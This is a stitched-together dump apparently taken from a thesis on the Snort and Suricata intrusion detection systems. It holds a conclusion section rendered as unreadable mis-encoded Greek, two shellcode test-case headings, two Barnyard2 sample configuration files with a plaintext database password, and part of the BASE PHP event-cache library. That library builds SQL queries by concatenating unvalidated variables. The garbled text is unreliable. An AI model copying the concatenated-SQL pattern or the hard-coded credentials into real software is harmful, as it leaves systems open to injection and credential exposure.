peyoAvtepov  apluod omellmv. Qotd60, TO UEYOADTEPO TWOGOGTO WELODG OeTIKDY
€100TOMGEDY TOL TAPNYONoAV KATE TNV OVTIGTOLYN OOKIUN, OVTIGTOLYOVCHY GE VITOYPAUPEG

¢ ET (80,55% vyio. to Snort kot 75,74% yia To Suricata).
7. To Snort vepéyel onuavtikd Evavtt Tov Suricata otov Topéa ™G TEKUNPIOoNG.

8. Av Kot dev VINPYOV 01 VTOAOYIGTIKOL TOPOL TTOVL GTOLTOVVTOL Y10, T CLGTNUOTIKY a&loAdYN o
TV 000 CLCTNUATOV MG TPOS TNV aSloToinon TV dhEs®Y TOpOV, dmoTddnKe OTL N
TOAMDVIUOTIKY, apyITEKTOVIKN Tov Suricata amoitel mepiocodTepn pviun Kot ene&epyaoTikn
oyd and to Snort, mbovotate AOyw Tng emPdpuvenc mov emeépel 1 dlaygipion TV

molMamAdv vnuatov. TTapdia avtd to Suricata eivor oe Béon va vrootnpiel dikTvoKn
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Kkiviion vyniov 6ykov otav gival diabéoiol moAlamiol Kevipikol emelepyaotés, ywpig va
OTOUTEITOL 1) EKTEAEOT TOAAOTAMV OTIYUIOTOT®Y TOL. XTOV OvTimodo To Snort eival pio
EPOPLOYN YPNYOPN KOL LE WIKPOTEPES OMUITNOEIS GE VILOAOYIOTIKOVG TOPOVS, OAAG LE TO
TMEPLOPICUEVES SVVATOTNTEG XEPICUOV OIKTVOKNG KIVNoNG VYNAOL OYKOL OvE GTIYHOTLTO,
kaBdg dev elvan og Béom va ekpetaAlevtel €£I00V AMOTEAEGLOTIKG TNV TOPOVGIO TOAAUTADY
KEVIPIKAOV eNeEEPYOOT®V. ZVVETMC, 1 YPNOoN ToL Snort oe mepiPdiiovta dikTvakng Kiviong
VYNAOD OYKOV ATOUTEL TN P10 TOALUTADY GTLYHLOTUTIMV TOV, LE OMOTEAEGO VO AVEAVETL

70 TeEMKO KOGTOG AerTovpyiag Kot dlayEiplong Tov.

Me Bdon OAa to mOPATAVO, TPOKLRTEL T0 cuumépacue 6Tt T0 Short mapauéver o de facto
dwcrvako IDS/IPS avotktod kddika yia mapaymyka tepipdiiovio. Qotdoo, to Suricata eivor éva
avepyouevo IDS/IPS pe a&idrhoyeg emSOGELS, TO OTTOI0 YPNOOTOLEL TEYVIKEG EKUETAAAELGNG TV
Sbéoiuv VITOAOYIGTIKGOV TOpwV Tov B mpémel va viobetnBovv kot amd to Snort. Eai tov
TaPOVTOG, TPOTEIVETAL N ¥PNoN Tov Snort oe mapaywywkd mepifariiovta. Tavtdypova dumg Oa
npénel va Topakolovbeitarl oteva 1 eEEMEN Tov Suricata, kabdg avtd To cupnépacua dev eivat

amiBavo vo avatpanel 6To yyOg HEAAOV.
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	8.2.2.9.14 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 using encoder x86/context_cpuid
	8.2.2.9.15 SHELLCODE x86 setgid 0 && SHELLCODE x86 setuid 0 using encoder x86/context_stat
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#
#  Barnyard2 example configuration file
#

#
# This file contains a sample barnyard2 configuration.
# You can take the following steps to create your own custom configuration:
#
#   1) Configure the variable declarations
#   2) Setup the input plugins
#   3) Setup the output plugins
#

#
# Step 1: configure the variable declarations
#

# in order to keep from having a commandline that uses every letter in the
# alphabet most configuration options are set here.

# use UTC for timestamps
#
#config utc

# set the appropriate paths to the file(s) your Snort process is using.
#
config reference_file: /usr/local/snort/etc/reference.config
config classification_file: /usr/local/snort/etc/classification.config
config gen_file: /usr/local/snort/etc/gen-msg.map
config sid_file: /usr/local/snort/etc/sid-msg.map

# Set the event cache size to defined max value before recycling of event occur.
#
#
#config event_cache_size: 4096

# define dedicated references similar to that of snort.
#
#config reference: mybugs http://www.mybugs.com/?s=

# define explicit classifications similar to that of snort.
#
#config classification: shortname, short description, priority

# set the directory for any output logging
#
#config logdir: /tmp

# to ensure that any plugins requiring some level of uniqueness in their output
# the alert_with_interface_name, interface and hostname directives are provided.
# An example of usage would be to configure them to the values of the associated
# snort process whose unified files you are reading.
#
# Example:
#   For a snort process as follows:
#     snort -i eth0 -c /etc/snort.conf
#
#   Typical options would be:
#     config hostname:  thor
#     config interface: eth0
#     config alert_with_interface_name
#
config hostname: localhost
config interface: eth1

# enable printing of the interface name when alerting.
#
#config alert_with_interface_name

# at times snort will alert on a packet within a stream and dump that stream to
# the unified output. barnyard2 can generate output on each packet of that
# stream or the first packet only.
#
#config alert_on_each_packet_in_stream

# enable daemon mode
#
#config daemon

# make barnyard2 process chroot to directory after initialisation.
#
#config chroot: /var/spool/barnyard2

# specifiy the group or GID for barnyard2 to run as after initialisation.
#
#config set_gid: 999

# specifiy the user or UID for barnyard2 to run as after initialisation.
#
#config set_uid: 999

# specify the directory for the barnyard2 PID file.
#
#config pidpath: /var/run/by2.pid

# enable decoding of the data link (or second level headers).
#
#config decode_data_link

# dump the application data
#
#config dump_payload

# dump the application data as chars only
#
#config dump_chars_only

# enable verbose dumping of payload information in log style output plugins.
#
#config dump_payload_verbose

# enable obfuscation of logged IP addresses.
#
#config obfuscate

# enable the year being shown in timestamps
#
#config show_year

# set the umask for all files created by the barnyard2 process (eg. log files).
#
#config umask: 066

# enable verbose logging
#
#config verbose

# quiet down some of the output
#
#config quiet

# define the full waldo filepath.
#
#config waldo_file: /tmp/waldo

# specificy the maximum length of the MPLS label chain
#
#config max_mpls_labelchain_len: 64

# specify the protocol (ie ipv4, ipv6, ethernet) that is encapsulated by MPLS.
#
#config mpls_payload_type: ipv4

# set the reference network or homenet which is predominantly used by the
# log_ascii plugin.
#
#config reference_net: 192.168.0.0/24

#
# CONTINOUS MODE
#

# set the archive directory for use with continous mode
#
#config archivedir: /tmp

# when in operating in continous mode, only process new records and ignore any
# existing unified files
#
#config process_new_records_only


#
# Step 2: setup the input plugins
#

# this is not hard, only unified2 is supported ;)
input unified2


#
# Step 3: setup the output plugins
#

# alert_cef
# ----------------------------------------------------------------------------
#
# Purpose:
#  This output module provides the abilty to output alert information to a
# remote network host as well as the local host using the open standard
# Common Event Format (CEF).output database: log, mysql, user=snort password=YOURPASSWORD db
#
# Arguments: host=hostname[:port], severity facility
#            arguments should be comma delimited.
#   host        - specify a remote hostname or IP with optional port number
#                 this is only specific to WIN32 (and is not yet fully supported)
#   severity    - as defined in RFC 3164 (eg. LOG_WARN, LOG_INFO)
#   facility    - as defined in RFC 3164 (eg. LOG_AUTH, LOG_LOCAL0)
#
# Examples:
#   output alert_cef
#   output alert_cef: host=192.168.10.1
#   output alert_cef: host=sysserver.com:1001
#   output alert_cef: LOG_AUTH LOG_INFO
#

# alert_bro
# ----------------------------------------------------------------------------
#
# Purpose: Send alerts to a Bro-IDS instance.
#
# Arguments: hostname:port
#
# Examples:
#   output alert_bro: 127.0.0.1:47757

# alert_fast
# ----------------------------------------------------------------------------
# Purpose: Converts data to an approximation of Snort's "fast alert" mode.
#
# Arguments: file <file>, stdout
#            arguments should be comma delimited.
#   file - specifiy alert file
#   stdout - no alert file, just print to screen
#
# Examples:
#   output alert_fast
#   output alert_fast: stdout
#
output alert_fast: stdout


# prelude: log to the Prelude Hybrid IDS system
# ----------------------------------------------------------------------------
#
# Purpose:
#  This output module provides logging to the Prelude Hybrid IDS system
#
# Arguments: profile=snort-profile
#   snort-profile   - name of the Prelude profile to use (default is snort).
#
# Snort priority to IDMEF severity mappings:
# high < medium < low < info
#
# These are the default mapped from classification.config:
# info   = 4
# low    = 3
# medium = 2
# high   = anything below medium
#
# Examples:
#   output alert_prelude
#   output alert_prelude: profile=snort-profile-name
#


# alert_syslog
# ----------------------------------------------------------------------------
#
# Purpose:
#  This output module provides the abilty to output alert information to local syslog
#
#   severity    - as defined in RFC 3164 (eg. LOG_WARN, LOG_INFO)
#   facility    - as defined in RFC 3164 (eg. LOG_AUTH, LOG_LOCAL0)
#
# Examples:
#   output alert_syslog
#   output alert_syslog: LOG_AUTH LOG_INFO
#

# syslog_full
#-------------------------------
# Available as both a log and alert output plugin.  Used to output data via TCP/UDP or LOCAL ie(syslog())
# Arguments:
#      sensor_name $sensor_name         - unique sensor name
#      server $server                   - server the device will report to
#      local                            - if defined, ignore all remote information and use syslog() to send message.
#      protocol $protocol               - protocol device will report over (tcp/udp)
#      port $port                       - destination port device will report to (default: 514)
#      delimiters $delimiters           - define a character that will delimit message sections ex:  "|", will use | as message section delimiters. (default: |)
#      separators $separators           - define field separator included in each message ex: " " ,  will use space as field separator.             (default: [:space:])
#      operation_mode $operaion_mode    - default | complete : default mode is compatible with default snort syslog message, complete prints more information such as the raw packet (hexed)
#      log_priority   $log_priority     - used by local option for syslog priority call. (man syslog(3) for supported options) (default: LOG_INFO)
#      log_facility  $log_facility      - used by local option for syslog facility call. (man syslog(3) for supported options) (default: LOG_USER)

# Usage Examples:
# output alert_syslog_full: sensor_name snortIds1-eth2, server xxx.xxx.xxx.xxx, protocol udp, port 514, operation_mode default
# output alert_syslog_full: sensor_name snortIds1-eth2, server xxx.xxx.xxx.xxx, protocol udp, port 514, operation_mode complete
# output log_syslog_full: sensor_name snortIds1-eth2, server xxx.xxx.xxx.xxx, protocol udp, port 514, operation_mode default
# output log_syslog_full: sensor_name snortIds1-eth2, server xxx.xxx.xxx.xxx, protocol udp, port 514, operation_mode complete
# output alert_syslog_full: sensor_name snortIds1-eth2, server xxx.xxx.xxx.xxx, protocol udp, port 514
# output log_syslog_full: sensor_name snortIds1-eth2, server xxx.xxx.xxx.xxx, protocol udp, port 514
# output alert_syslog_full: sensor_name snortIds1-eth2, local
# output log_syslog_full: sensor_name snortIds1-eth2, local, log_priority LOG_CRIT,log_facility LOG_CRON

# log_ascii
# ----------------------------------------------------------------------------
#
# Purpose: This output module provides the default packet logging funtionality
#
# Arguments: None.
#
# Examples:
#   output log_ascii
#


# log_tcpdump
# ----------------------------------------------------------------------------
#
# Purpose
#  This output module logs packets in binary tcpdump format
#
# Arguments:
#   The only argument is the output file name.
#
# Examples:
#   output log_tcpdump: tcpdump.log
#


# sguil
# ----------------------------------------------------------------------------
#
# Purpose: This output module provides logging ability for the sguil interface
# See doc/README.sguil
#
# Arguments: agent_port <port>, sensor_name <name>
#            arguments should be comma delimited.
#   agent_port  - explicitly set the sguil agent listening port
#                 (default: 7736)
#   sensor_name - explicitly set the sensor name
#                 (default: machine hostname)
#
# Examples:
#   output sguil
#   output sguil: agent_port=7000
#   output sguil: sensor_name=argyle
#   output sguil: agent_port=7000, sensor_name=argyle
#


# database: log to a variety of databases
# ----------------------------------------------------------------------------
#
# Purpose: This output module provides logging ability to a variety of databases
# See doc/README.database for additional information.
#
# Examples:
#   output database: log, mysql, user=root password=test dbname=db host=localhost
#   output database: alert, postgresql, user=snort dbname=snort
#   output database: log, odbc, user=snort dbname=snort
#   output database: log, mssql, dbname=snort user=snort password=test
#   output database: log, oracle, dbname=snort user=snort password=test
#

output database: log, mysql, user=snort password=andreas dbname=snort host=localhost


# alert_fwsam: allow blocking of IP's through remote services
# ----------------------------------------------------------------------------
# output alert_fwsam: <SnortSam Station>:<port>/<key>
#
#  <FW Mgmt Station>:  IP address or host name of the host running SnortSam.
#  <port>:         Port the remote SnortSam service listens on (default 898).
#  <key>:              Key used for authentication (encryption really)
#              of the communication to the remote service.
#
# Examples:
#
# output alert_fwsam: snortsambox/idspassword
# output alert_fwsam: fw1.domain.tld:898/mykey
# output alert_fwsam: 192.168.0.1/borderfw  192.168.1.254/wanfw
#




#-------------------------------------------------------------
#  Barnyard2 configuration file
#
#  http://www.securixlive.com/barnyard2
#   
#  Contact: dev@securixlive.com
#-------------------------------------------------------------

#
# This file contains a sample barnyard2 configuration. 
# You can take the following steps to create your own custom configuration:
#
#   1) Configure the variable declarations
#   2) Setup the input plugins
#   3) Setup the output plugins
#

# Step 1: configure the variable declarations
#
# in order to keep from having a commandline that uses every letter in the
# alphabet most configuration options are set here.

# use UTC for timestamps
#
#config utc

# set the appropriate paths to the file(s) your Snort process is using.
#
config reference_file:	    /usr/local/etc/suricata/reference.config
config classification_file: /usr/local/etc/suricata/classification.config
config gen_file:            /usr/local/etc/suricata/rules/gen-msg.map
config sid_file:	    /usr/local/etc/suricata/rules/sid-msg.map

# define dedicated references similar to that of snort.
#
#config reference: mybugs http://www.mybugs.com/?s=

# define explicit classifications similar to that of snort.
#
#config classification: shortname, short description, priority

# set the directory for any output logging
#
#config logdir: /tmp

# to ensure that any plugins requiring some level of uniqueness in their output
# the alert_with_interface_name, interface and hostname directives are provided.
# An example of usage would be to configure them to the values of the associated
# snort process whose unified files you are reading.
#
# Example:
#   For a snort process as follows:
#     snort -i eth0 -c /etc/snort.conf
#
#   Typical options would be:
#     config hostname:	thor
#     config interface: eth0
#     config alert_with_interface_name
#
#config hostname:	thor
#config interface:	eth0

# enable printing of the interface name when alerting.
#
#config alert_with_interface_name

# at times snort will alert on a packet within a stream and dump that stream to
# the unified output. barnyard2 can generate output on each packet of that 
# stream or the first packet only.
#
#config alert_on_each_packet_in_stream

# enable daemon mode
#
#config daemon

# make barnyard2 process chroot to directory after initialisation.
#
#config chroot: /var/spool/barnyard2

# specifiy the group or GID for barnyard2 to run as after initialisation.
#
#config set_gid: 999

# specifiy the user or UID for barnyard2 to run as after initialisation.
#
#config set_uid: 999

# specify the directory for the barnyard2 PID file.
#
#config pidpath: /var/run/by2.pid

# enable decoding of the data link (or second level headers).
#
#config decode_data_link

# dump the application data
#
#config dump_payload

# dump the application data as chars only
#
#config dump_chars_only

# enable verbose dumping of payload information in log style output plugins.
#
#config dump_payload_verbose

# enable obfuscation of logged IP addresses.
#
#config obfuscate

# enable the year being shown in timestamps
#
#config show_year

# set the umask for all files created by the barnyard2 process (eg. log files).
#
#config umask: 066

# enable verbose logging
#
#config verbose

# quiet down some of the output
#
#config quiet

# define the full waldo filepath.
#
#config waldo_file: /tmp/waldo

# specificy the maximum length of the MPLS label chain
#
#config max_mpls_labelchain_len: 64

# specify the protocol (ie ipv4, ipv6, ethernet) that is encapsulated by MPLS.
#
#config mpls_payload_type: ipv4

# set the reference network or homenet which is predominantly used by the
# log_ascii plugin.
#
#config reference_net: 192.168.0.0/24

#
# CONTINOUS MODE 
#

# set the archive directory for use with continous mode
#
#config archivedir: /tmp

# when in operating in continous mode, only process new records and ignore any
# existing unified files
#
#config process_new_records_only



# Step 2: setup the input plugins
#
# this is not hard, only unified2 is supported ;)
input unified2



# Step 3: setup the output plugins

# alert_cef
#-----------------------------
#
# Purpose:
#  This output module provides the abilty to output alert information to a
# remote network host as well as the local host using the open standard
# Common Event Format (CEF).
#
# Arguments: host=hostname[:port], severity facility
#            arguments should be comma delimited.
#   host		- specify a remote hostname or IP with optional port number
#                 this is only specific to WIN32 (and is not yet fully supported)
#	severity	- as defined in RFC 3164 (eg. LOG_WARN, LOG_INFO)
#	facility	- as defined in RFC 3164 (eg. LOG_AUTH, LOG_LOCAL0)
#
# Examples:
#	output alert_cef
#	output alert_cef: host=192.168.10.1
#	output alert_cef: host=sysserver.com:1001
#	output alert_cef: LOG_AUTH LOG_INFO
#

# alert_bro
#-----------------------------
# 
# Purpose: Send alerts to a Bro-IDS instance.
#
# Arguments: hostname:port
#
# Examples:
#	output alert_bro: 127.0.0.1:47757

# alert_fast
#-----------------------------
# Purpose: Converts data to an approximation of Snort's "fast alert" mode.
# 
# Arguments: file <file>, stdout
#            arguments should be comma delimited.
#   file - specifiy alert file
#   stdout - no alert file, just print to screen
# 
# Examples:
#   output alert_fast
#   output alert_fast: stdout
#
output alert_fast: stdout


# prelude: log to the Prelude Hybrid IDS system
# ---------------------------------------------
#
# Purpose:
#  This output module provides logging to the Prelude Hybrid IDS system
#
# Arguments: profile=snort-profile
#   snort-profile	- name of the Prelude profile to use (default is snort).
#
# Snort priority to IDMEF severity mappings:
# high < medium < low < info
#
# These are the default mapped from classification.config:
# info   = 4
# low    = 3
# medium = 2
# high   = anything below medium
#
# Examples:
#   output alert_prelude
#   output alert_prelude: profile=snort-profile-name
#


# alert_syslog
#-----------------------------
#
# Purpose:
#  This output module provides the abilty to output alert information to a
# remote network host as well as the local host.
#
# Arguments: host=hostname[:port], severity facility
#            arguments should be comma delimited.
#   host		- specify a remote hostname or IP with optional port number
#                 this is only specific to WIN32 (and is not yet fully supported)
#	severity	- as defined in RFC 3164 (eg. LOG_WARN, LOG_INFO)
#	facility	- as defined in RFC 3164 (eg. LOG_AUTH, LOG_LOCAL0)
#
# Examples:
#	output alert_syslog
#	output alert_syslog: host=192.168.10.1
#	output alert_syslog: host=sysserver.com:1001
#	output alert_syslog: LOG_AUTH LOG_INFO
#


# log_ascii
#-----------------------------
# 
# Purpose: This output module provides the default packet logging funtionality
#
# Arguments: None.
#   
# Examples:
#   output log_ascii
#


# log_tcpdump
# -------------------------------------------------
#
# Purpose
#  This output module logs packets in binary tcpdump format
#
# Arguments:
#   The only argument is the output file name.
#
# Examples:
#   output log_tcpdump: tcpdump.log
#


# sguil
#-----------------------------
# 
# Purpose: This output module provides logging ability for the sguil interface
# See doc/README.sguil
#
# Arguments: agent_port <port>, sensor_name <name>
#            arguments should be comma delimited.
#   agent_port	- explicitly set the sguil agent listening port 
#				  (default: 7736)
#   sensor_name - explicitly set the sensor name 
#				  (default: machine hostname)
# 
# Examples:
#   output sguil
#   output sguil: agent_port=7000
#   output sguil: sensor_name=argyle
#   output sguil: agent_port=7000, sensor_name=argyle
#


# database: log to a variety of databases
# ---------------------------------------
#
# Purpose: This output module provides logging ability to a variety of databases
# See doc/README.database for additional information.
#
# Examples:
#   output database: log, mysql, user=root password=test dbname=db host=localhost
#   output database: alert, postgresql, user=snort dbname=snort
#   output database: log, odbc, user=snort dbname=snort
#   output database: log, mssql, dbname=snort user=snort password=test
#   output database: log, oracle, dbname=snort user=snort password=test
output database: log, mysql, user=snorbyuser password=andreas dbname=snorby host=localhost sensor_name=sensor1





<?php
/*******************************************************************************
** Basic Analysis and Security Engine (BASE)
** Copyright (C) 2004 BASE Project Team
** Copyright (C) 2000 Carnegie Mellon University
**
** (see the file 'base_main.php' for license details)
**
** Project Lead: Kevin Johnson <kjohnson@secureideas.net>
**                Sean Muller <samwise_diver@users.sourceforge.net>
** Built upon work by Roman Danyliw <rdd@cert.org>, <roman@danyliw.com>
**
** Purpose: IP DNS, whois, event cache library   
********************************************************************************
** Authors:
********************************************************************************
** Kevin Johnson <kjohnson@secureideas.net
**
********************************************************************************
*/
/** The below check is to make sure that the conf file has been loaded before this one....
 **  This should prevent someone from accessing the page directly. -- Kevin
 **/
defined( '_BASE_INC' ) or die( 'Accessing this file directly is not allowed.' );

include_once("$BASE_path/base_stat_common.php");
include_once("$BASE_path/includes/base_log_error.inc.php");

function UpdateDNSCache($db)
{
  GLOBAL $debug_mode, $dns_cache_lifetime;

  $cnt = 0;

  $ip_result = $db->baseExecute("SELECT DISTINCT ip_src FROM acid_event ".
                                "LEFT JOIN acid_ip_cache ON ipc_ip = ip_src ".
                                "WHERE ipc_fqdn IS NULL");

  while ( ($row = $ip_result->baseFetchRow()) != "")
  {
     if ( $debug_mode > 0 )  
        echo $row[0]." - ".baseLong2IP($row[0])."<BR>";
     baseGetHostByAddr(baseLong2IP($row[0]), $db, $dns_cache_lifetime);
     ++$cnt;
  }
  $ip_result->baseFreeRows();

  $ip_result = $db->baseExecute("SELECT DISTINCT ip_dst FROM acid_event ".
                                "LEFT JOIN acid_ip_cache ON ipc_ip = ip_dst ".
                                "WHERE ipc_fqdn IS NULL");
  while ( ($row = $ip_result->baseFetchRow()) != "")
  {
     if ( $debug_mode > 0 )  
        echo $row[0]." - ".baseLong2IP($row[0])."<BR>";  
     baseGetHostByAddr(baseLong2IP($row[0]), $db, $dns_cache_lifetime);
     ++$cnt;
  }
  $ip_result->baseFreeRows();

  ErrorMessage(_ADDED.$cnt._HOSTNAMESDNS);
}

function UpdateWhoisCache($db)
{
  GLOBAL $debug_mode, $whois_cache_lifetime;

  $cnt = 0;

  $ip_result = $db->baseExecute("SELECT DISTINCT ip_src FROM acid_event ".
                                "LEFT JOIN acid_ip_cache ON ipc_ip = ip_src ".
                                "WHERE ipc_whois IS NULL");

  while ( ($row = $ip_result->baseFetchRow()) != "")
  {
     if ( $debug_mode > 0 )  echo $row[0]." - ".baseLong2IP($row[0])."<BR>";
     baseGetWhois(baseLong2IP($row[0]), $db, $whois_cache_lifetime);
     ++$cnt;
  }
  $ip_result->baseFreeRows();

  $ip_result = $db->baseExecute("SELECT DISTINCT ip_dst FROM acid_event ".
                                "LEFT JOIN acid_ip_cache ON ipc_ip = ip_dst ".
                                "WHERE ipc_whois IS NULL");

  while ( ($row = $ip_result->baseFetchRow()) != "")
  {
     if ( $debug_mode > 0 )  echo $row[0]." - ".baseLong2IP($row[0])."<BR>";  
     baseGetWhois(baseLong2IP($row[0]), $db, $whois_cache_lifetime);
     ++$cnt;
  }
  $ip_result->baseFreeRows();

  ErrorMessage(_ADDED.$cnt._HOSTNAMESWHOIS);
}

function CacheAlert($sid, $cid, $db)
{
  $signature = $timestamp = $ip_src = $ip_dst = null;
  $ip_proto = $layer4_sport = $layer4_dport = $sig_name = null;
  $sig_class_id = $sig_priority = null;

  $sql = "SELECT signature, timestamp, ip_src, ip_dst, ip_proto FROM event ".
         "LEFT JOIN iphdr ON (event.sid=iphdr.sid AND event.cid = iphdr.cid) ".
         "WHERE (event.sid='".$sid."' AND event.cid='".$cid."') ORDER BY event.cid";

  $result = $db->baseExecute($sql);

  $row = $result->baseFetchRow();
  if ( $row )
  {
     $signature = $row[0];
     $timestamp = $row[1];
     $ip_src    = $row[2];
     $ip_dst    = $row[3];
     $ip_proto  = $row[4];
     $result->baseFreeRows();

     if ( $ip_proto == TCP )
     {
        $result = $db->baseExecute("SELECT tcp_sport, tcp_dport FROM
                                    tcphdr WHERE sid='".$sid."' AND cid='".$cid."'");
        $row = $result->baseFetchRow();
        if ( $row )
        {
           $layer4_sport = $row[0];
           $layer4_dport = $row[1];
           $result->baseFreeRows();
        }
     }

     else if ( $ip_proto == UDP )
     {
        $result = $db->baseExecute("SELECT udp_sport, udp_dport FROM
                                    udphdr WHERE sid='".$sid."' AND cid='".$cid."'");
        $row = $result->baseFetchRow();
        if ( $row )
        {
           $layer4_sport = $row[0];
           $layer4_dport = $row[1];
           $result->baseFreeRows();
        }
     }

     if ( $db->baseGetDBversion() >= 100 )
     {
        if ( $db->baseGetDBversion() >= 103 )
           $result = $db->baseExecute("SELECT sig_name, sig_class_id, sig_priority ".
                                      " FROM signature ".
                                      "WHERE sig_id = '".$signature."'");
        else
           $result = $db->baseExecute("SELECT sig_name FROM signature ".
                                      "WHERE sig_id = '".$signature."'");
        $row = $result->baseFetchRow();
        if ( $row )
        {
           $sig_name = $row[0];
           if ( $db->baseGetDBversion() >= 103 )
           {
              $sig_class_id = $row[1];
              $sig_priority = $row[2];
           }
           $result->baseFreeRows();
        } 
     }
  }
  else
  {
    ErrorMessage(_ERRCACHENULL);
    echo "<PRE>".$sql."</PRE>";
  }

  /* There can be events without certain attributes */
  if ($sig_priority=='') $sig_priority='NULL';
  if ($ip_src=='') $ip_src='NULL';
  if ($ip_dst=='') $ip_dst='NULL';
  if ($ip_proto=='') $ip_proto='NULL';
  if ($layer4_sport=='') $layer4_sport='NULL';
  if ($layer4_dport=='') $layer4_dport='NULL';
  if ($sig_class_id == '') $sig_class_id = 'NULL';
  if ($sig_priority == '') $sig_priority = 'NULL';

  if ( $db->baseGetDBversion() >= 100 ) {
      $sql = "INSERT INTO acid_event (sid, cid, signature, sig_name, sig_class_id, sig_priority, ";
      $sql.= "timestamp, ip_src, ip_dst, ip_proto, layer4_sport, layer4_dport) ";
      $sql.= "VALUES ($sid, $cid, $signature, '" . addslashes($sig_name) . "', $sig_class_id, $sig_priority,";
      $sql.= "'$timestamp', $ip_src, $ip_dst, $ip_proto, $layer4_sport, $layer4_dport)";
  } else {
      $sql = "INSERT INTO acid_event (sid, cid, signature, timestamp, ip_src, ";
      $sql.= "ip_dst, ip_proto, layer4_sport,layer4_dport) ";
      $sql.= "VALUES ($sid, $cid, '$signature', '$timestamp', $ip_src, $ip_dst, ";
      $sql.= "$ip_proto, $layer4_sport, $layer4_dport)";
  }

  $db->baseExecute($sql); 

  if ( $db->baseErrorMessage() != "" )
     return 0;
  else 
     return 1;
}

function CacheSensor($sid, $cid, $db)
/*
  Caches all alerts for sensor $sid newer than the event $cid
 */
{
  GLOBAL $debug_mode;


  $schema_specific = array(2);

  $schema_specific[0] = "";
  $schema_specific[1] = "";
  $schema_specific[2] = "";

  if ( $db->baseGetDBversion() >= 100 ) 
  {
     $schema_specific[1] = ", sig_name"; 
     $schema_specific[2] = " INNER JOIN signature ON (signature = signature.sig_id) ";
  }

  if ( $db->baseGetDBversion() >= 103 )
  {
     $schema_specific[0] = $schema_specific[0].", sig_priority, sig_class_id ";
     $schema_specific[1] = $schema_specific[1].", sig_priority, sig_class_id "; 
     $schema_specific[2] = $schema_specific[2]."";
  }

  if ( $db->baseGetDBversion() < 100 )
     $schema_specific[1] = $schema_specific[1].", signature ";

  $update_sql = array(4);

  /* Preprocessor events only */
  # The original "(sig_name LIKE '(spp_%')" is too limited. Cf.
  # /usr/local/src/snort-2.8.3.1_unpatched/etc/gen-msg.map
  # /usr/local/src/snort-2.8.3.1_unpatched/src/generators.h
  # Currently I have included all the names that I have found in 
  # these files.
  # Note: Do always add '%' in LIKE-statements. Otherwise the entries
  #       won't match.
  if ( $db->baseGetDBversion() >= 100 ) {
    $schema_specific[3] = " ( " . 
                          "(sig_name LIKE 'spp_%') OR " . 
                          "(sig_name LIKE 'spo_%') OR " . 
                          "(sig_name LIKE 'snort_decoder%') OR " .
                          "(sig_name LIKE 'http_decode%') OR " . 
                          "(sig_name LIKE 'http_inspect%') OR " . 
                          "(sig_name LIKE 'portscan%') OR " . 
                          "(sig_name LIKE 'flow-portscan%') OR " . 
                          "(sig_name LIKE 'frag3%') OR " . 
                          "(sig_name LIKE 'smtp%') OR " .
                          "(sig_name LIKE 'ftp_pp%') OR " . 
                          "(sig_name LIKE 'telnet_pp%') OR " .
                          "(sig_name LIKE 'ssh%') OR " .
                          "(sig_name LIKE 'stream5%') OR " . 
                          "(sig_name LIKE 'dcerpc%') OR " .
                          "(sig_name LIKE 'dns%') OR " . 
                          "(sig_name LIKE 'ppm%') " .
                          " ) ";
  }
  else {
    $schema_specific[3] = " (signature LIKE '(spp_%') ";
  }

  
  /* TCP events */
  if( $db->DB_type == 'oci8' ) {
  $update_sql[0] =
    "INSERT INTO acid_event (sid,cid,signature,timestamp,
                             ip_src,ip_dst,ip_proto,
                             layer4_sport,layer4_dport,
                             sig_name".
                             $schema_specific[0].")
     SELECT a.sid as sid, a.cid as cid, a.signature, a.timestamp,
            b.ip_src, ip_dst, ip_proto,
            tcp_sport as layer4_sport, tcp_dport as layer4_dport".
            $schema_specific[1]."
    FROM event a
    ".$schema_specific[2]." 
    INNER JOIN iphdr b ON (a.sid=b.sid AND a.cid=b.cid) 
    LEFT JOIN tcphdr c ON (a.sid=c.sid AND a.cid=c.cid)
    WHERE (a.sid = $sid AND a.cid > $cid) AND ip_proto = 6
    AND ( NOT ".$schema_specific[3].")";
  }
  else {
  $update_sql[0] =
    "INSERT INTO acid_event (sid,cid,signature,timestamp,
                             ip_src,ip_dst,ip_proto,
                             layer4_sport,layer4_dport,
                             sig_name".
                             $schema_specific[0].")
     SELECT event.sid as sid, event.cid as cid, signature, timestamp, 
            ip_src, ip_dst, ip_proto,
            tcp_sport as layer4_sport, tcp_dport as layer4_dport".
            $schema_specific[1]."
    FROM event
    ".$schema_specific[2]." 
    INNER JOIN iphdr ON (event.sid=iphdr.sid AND event.cid=iphdr.cid) 
    LEFT JOIN tcphdr ON (event.sid=tcphdr.sid AND event.cid=tcphdr.cid)
    WHERE (event.sid = $sid AND event.cid > $cid) AND ip_proto = 6
    AND ( NOT ".$schema_specific[3].")";
  }

  /* UDP events */
  if( $db->DB_type == 'oci8' ) {
  $update_sql[1] = 
    "INSERT INTO acid_event (sid,cid,signature,timestamp,
                             ip_src,ip_dst,ip_proto,
                             layer4_sport,layer4_dport,
                             sig_name".
                             $schema_specific[0].")
     SELECT a.sid as sid, a.cid as cid, signature, a.timestamp,
            ip_src, ip_dst, ip_proto,
            udp_sport as layer4_sport, udp_dport as layer4_dport".
            $schema_specific[1]."
     FROM event a
     ".$schema_specific[2]."
     INNER JOIN iphdr b ON (a.sid=b.sid AND a.cid=b.cid)
     LEFT JOIN udphdr c ON (a.sid=c.sid AND a.cid=c.cid)
     WHERE (a.sid = $sid AND a.cid > $cid) AND ip_proto = 17
     AND ( NOT ".$schema_specific[3].")";
  }
  else {
  $update_sql[1] = 
    "INSERT INTO acid_event (sid,cid,signature,timestamp,
                             ip_src,ip_dst,ip_proto,
                             layer4_sport,layer4_dport,
                             sig_name".
                             $schema_specific[0].")
     SELECT event.sid as sid, event.cid as cid, signature, timestamp,
            ip_src, ip_dst, ip_proto,
            udp_sport as layer4_sport, udp_dport as layer4_dport".
            $schema_specific[1]."
     FROM event
     ".$schema_specific[2]."
     INNER JOIN iphdr ON (event.sid=iphdr.sid AND event.cid=iphdr.cid)
     LEFT JOIN udphdr ON (event.sid=udphdr.sid AND event.cid=udphdr.cid)
     WHERE (event.sid = $sid AND event.cid > $cid) AND ip_proto = 17
     AND ( NOT ".$schema_specific[3].")";
  }

  /* ICMP events */
  if( $db->DB_type == 'oci8' ) {
    $update_sql[2] = 
     "INSERT INTO acid_event (sid,cid,signature,timestamp,
                              ip_src,ip_dst,ip_proto,
                              sig_name".
                              $schema_specific[0].")
      SELECT a.sid as sid, a.cid as cid, signature, a.timestamp,
             ip_src, ip_dst, ip_proto".
             $schema_specific[1]."
      FROM event a
      ".$schema_specific[2]."
